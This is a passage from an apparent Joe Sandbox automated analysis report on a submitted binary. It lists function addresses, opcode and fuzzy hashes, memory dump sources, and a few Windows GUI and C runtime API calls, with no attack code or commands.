                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: d204a15e14b19437cab768b3a6b31c5e993296c43b6ba085a93268bb79c39083
                • Instruction ID: b879367c0b81bf7188ca9b3079eb3b93669988168fc6727c90bc9331b68d135a
                • Opcode Fuzzy Hash: d204a15e14b19437cab768b3a6b31c5e993296c43b6ba085a93268bb79c39083
                • Instruction Fuzzy Hash: C462F37160878A9FC719CF28C8905E9FBE1FB55304F1486AED8A68B742F730E955CB81
                Function 00BCE9A9 Relevance: .7, Instructions: 694COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 4e7b0ccbe73f12176ec16f512a93a580537ef3023298fa6d6ddcdcaff0b82cb7
                • Instruction ID: 775a50493e82c366f44af49719744f4e6cf534a5261faa649d9a7ba4a4fe0f64
                • Opcode Fuzzy Hash: 4e7b0ccbe73f12176ec16f512a93a580537ef3023298fa6d6ddcdcaff0b82cb7
                • Instruction Fuzzy Hash: 845249B26087019FC758CF19C891A6AF7E1FFC8304F49892DF9968B255D334E919CB86
                Function 00BD6715 Relevance: .5, Instructions: 509COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: cbf5ee256872877e14db91d37c456743b3c0a193804c6bc1502f71a0128ee832
                • Instruction ID: a3a34f0d472eb26f32c3783b4bf858e7d9a1b5de712ea75583f292364e838b4e
                • Opcode Fuzzy Hash: cbf5ee256872877e14db91d37c456743b3c0a193804c6bc1502f71a0128ee832
                • Instruction Fuzzy Hash: 5412AFB16107068BC728CF28C9D0A79F3E1FB58308F14896ED597C7B81E778A895CB45
                Function 00BCBB6E Relevance: .4, Instructions: 449COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 8fa35de9799819b6bcd904dd4d343db607d462cbfa374ab2ef8d1b7ce2a7743f
                • Instruction ID: 328671b529d6317c9459dcf02355631b18f6b7bd287579256a6cdad6199a3d83
                • Opcode Fuzzy Hash: 8fa35de9799819b6bcd904dd4d343db607d462cbfa374ab2ef8d1b7ce2a7743f
                • Instruction Fuzzy Hash: 79F154716083458BC718CF29C485E6EBBE2FBD9714F244AAEF48A97351D730E9068B52
                Function 00BE0113 Relevance: .3, Instructions: 345COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                • Instruction ID: 3f10a356150d31208ef41bdad3c2bf1d4aa421b3bde2071b18ec7aa25b6b6752
                • Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                • Instruction Fuzzy Hash: 58C184722191970ADB1D463A897403EFAE1EAA17B131A07EED8B7CB1C5FF60C564D510
                Function 00BE0548 Relevance: .3, Instructions: 341COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                • Instruction ID: 9d6db16da8021dc11487d8042e317e4b7392f4f2ed16df209786baf8e748602f
                • Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                • Instruction Fuzzy Hash: 53C1A3722191970ADB2D463A897413EFAE1DAA27B131E07AED8B3CB1C5FF60C574D520
                Function 00BDFCDE Relevance: .3, Instructions: 331COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
                • Instruction ID: 5634155629d5798c13fe762c755a192ae07b5aa8926725bfa93b83f824628c32
                • Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
                • Instruction Fuzzy Hash: 02C194722190970ADF2D4639897413EFAE1EAA27B131A07BED8B7CB2D5FE10C574D610
                Function 00BDF8C6 Relevance: .3, Instructions: 323COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                • Instruction ID: d28be7d58047e2ee27c4aaad6b5c92257cd414959cf02a987d89993e294730a6
                • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                • Instruction Fuzzy Hash: B4C14E722191570ADB2D4639897413EFAE1EAA27B131E07BED8B7CB2C4FE20D564D610
                Function 00BCDF48 Relevance: .3, Instructions: 318COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: ed6025248f193f9524ecc500781f394ffc460001334da75c915df339ebdc804c
                • Instruction ID: c66eed63857bae4ca92849740311c6f7b5594ed919bf2b813dfb116d758e0874
                • Opcode Fuzzy Hash: ed6025248f193f9524ecc500781f394ffc460001334da75c915df339ebdc804c
                • Instruction Fuzzy Hash: 0EE136755183808FC308CF29E490A6BBBF1AB8A301F8A095EF6D587356C235E915DF62
                Function 00BD36C1 Relevance: .3, Instructions: 263COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 1a617c1ada0a93cd2e5fc4104e071ca5ab75f100ba31abb5d19aafa8a1e8b291
                • Instruction ID: c91f74bbc90885dd575720458a99a0b736849cab47eb3bb5affcc9026bf00259
                • Opcode Fuzzy Hash: 1a617c1ada0a93cd2e5fc4104e071ca5ab75f100ba31abb5d19aafa8a1e8b291
                • Instruction Fuzzy Hash: 629147B02047495BD724EB28C891BBAF7C5EB50704F1009AEE59787382FA79AA44C753
                Function 00BE3F49 Relevance: .2, Instructions: 237COMMONLIBRARYCODE
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: e03621ab31aae0f1f94fbba1de50ba512466d9ab79d73e17176376b3a6f703aa
                • Instruction ID: 862b5a4599f53b27846cd86f6c3967788d2591145bff3b6c9b7eeef1c1833426
                • Opcode Fuzzy Hash: e03621ab31aae0f1f94fbba1de50ba512466d9ab79d73e17176376b3a6f703aa
                • Instruction Fuzzy Hash: 0D619C71A007C966DE349B2B88997BE33E4DF51B00F1009EAEA43DB2C3D755DE858396
                Function 00BD39F2 Relevance: .2, Instructions: 232COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 209afea29aacf21f6988cc42c4347deef14359ebf5857457a8887e82daa47dd8
                • Instruction ID: e1f4478b8674a546aa8a4237e9dfa6e32542c8e42ecaeb7e5bfae27121f629db
                • Opcode Fuzzy Hash: 209afea29aacf21f6988cc42c4347deef14359ebf5857457a8887e82daa47dd8
                • Instruction Fuzzy Hash: 557128713043455BDB24DF28C8C1B6DB7D5EBA0B04F0449AFE9C68B383EA749A858757
                Function 00BE3D1A Relevance: .2, Instructions: 214COMMONLIBRARYCODE
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 60b7de3cb2a39437cdc6fe6ef6c29ff78e73ae8b7f18a3af6c87a7ac86428b6e
                • Instruction ID: d8d46a706e0943b2a9819a1abc856edb5dd0cb58a8be009703034d1968f76892
                • Opcode Fuzzy Hash: 60b7de3cb2a39437cdc6fe6ef6c29ff78e73ae8b7f18a3af6c87a7ac86428b6e
                • Instruction Fuzzy Hash: 9E515A31600AC857DB34452F889D7BE77D9DF12F04F1885EAD842D7282C716DF4583A6
                Function 00BCDB11 Relevance: .2, Instructions: 190COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 513b43239245cb893d9733200880580bd142bb7bb0f3feda6111a4a15ed6a9f0
                • Instruction ID: 0d1293313112cc2baf313f212c5b84ffd602d43aba5d3d6f9d7e138f70fe5b25
                • Opcode Fuzzy Hash: 513b43239245cb893d9733200880580bd142bb7bb0f3feda6111a4a15ed6a9f0
                • Instruction Fuzzy Hash: 30816D861196D4AEC70A8F7D38A03BA3FE18773341B1A44FAC5D5872A7C1764A68DB21
                Function 00BCE546 Relevance: .2, Instructions: 154COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 036ae591495aecfa9aa6cb5bac9768278c373644ec37eb3155aeeda305bb9b6b
                • Instruction ID: 367896b07332a282f6130eb733df87af83484faae848eb77879f576150f75950
                • Opcode Fuzzy Hash: 036ae591495aecfa9aa6cb5bac9768278c373644ec37eb3155aeeda305bb9b6b
                • Instruction Fuzzy Hash: 0051D47150D3D18EC716CF25818496EBFE1AFAA318F4948EEE5E54B213D230DA49CB62
                Function 00BCF5FB Relevance: .1, Instructions: 131COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 836d097de722cc9a529b9fac20e5c74704e07512542dea48c7630942957dcb00
                • Instruction ID: 45171b9635928b94d8e3963db541aa6d8cd7ba26fa6f7236a1e5ec7ae2513b91
                • Opcode Fuzzy Hash: 836d097de722cc9a529b9fac20e5c74704e07512542dea48c7630942957dcb00
                • Instruction Fuzzy Hash: 78512771A083028FC748CF19D49059AF7E1FFC8314F054A2EE899A7741DB34E959CB96
                Function 00BD3446 Relevance: .1, Instructions: 112COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 32fd5146a60738f57232f45508c71c5fad50b2970f081f721f909f7bc4e013ae
                • Instruction ID: f925445e876c735f1fe4bb3e34ef9b7617bb030a7e71f9885b677f41f12e6ade
                • Opcode Fuzzy Hash: 32fd5146a60738f57232f45508c71c5fad50b2970f081f721f909f7bc4e013ae
                • Instruction Fuzzy Hash: A031D2B16147099FC714DE28C85166AFBE0FB95704F10896EE48AD7742D738EA09CF92
                Function 00BC5EAB Relevance: .1, Instructions: 76COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 55b8e0c844db2e6abc61cdb5cca1f51f7869e152c5d71101da8de56dcd9cfb1e
                • Instruction ID: 715c4bdbb2700a71ef31adab5a67af1919eea5e87e138b1a4fe4ea2a41ecadca
                • Opcode Fuzzy Hash: 55b8e0c844db2e6abc61cdb5cca1f51f7869e152c5d71101da8de56dcd9cfb1e
                • Instruction Fuzzy Hash: 6621D731A200324BCB18CF2DED9193A7391E78630134A816FED56DF391C938E965C7A0
                Function 00BCD754 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 235COMMON
                Download Yara Rule
                APIs
                • _swprintf.LIBCMT ref: 00BCD77A
                  • Part of subcall function 00BC3F53: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BC3F66
                  • Part of subcall function 00BD1222: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00BCD796,?,00000000,00000000,?,?,?,00BCD796,?,?,00000050), ref: 00BD123F
                • _strlen.LIBCMT ref: 00BCD79B
                • SetDlgItemTextW.USER32(?,00BFD154,?), ref: 00BCD7FB
                • GetWindowRect.USER32(?,?), ref: 00BCD835
                • GetClientRect.USER32(?,?), ref: 00BCD841
                • GetWindowLongW.USER32(?,000000F0), ref: 00BCD8DF
                • GetWindowRect.USER32(?,?), ref: 00BCD90C
                • SetWindowTextW.USER32(?,?), ref: 00BCD94F
                • GetSystemMetrics.USER32(00000008), ref: 00BCD957
                • GetWindow.USER32(?,00000005), ref: 00BCD962
                • GetWindowRect.USER32(00000000,?), ref: 00BCD98F
                • GetWindow.USER32(00000000,00000002), ref: 00BCDA01
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
                • String ID: $%s:$CAPTION$d
                • API String ID: 2407758923-2512411981
                • Opcode ID: fc4bae9b08425f279dabc7f96f800e6a2db956c35f28e83dfd220fe534a28c85
                • Instruction ID: db33e139f8ed24f0aadc9ec4dbbec532c9a9905f182e00a84a89462f96521b35
                • Opcode Fuzzy Hash: fc4bae9b08425f279dabc7f96f800e6a2db956c35f28e83dfd220fe534a28c85
                • Instruction Fuzzy Hash: A6818D72508345AFD710DF68CC89F6FBBE9EB88704F04492DFA85A7291D670E909CB52
                Function 00BEB7DF Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • ___free_lconv_mon.LIBCMT ref: 00BEB823
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB3DB
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB3ED
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB3FF
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB411
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB423
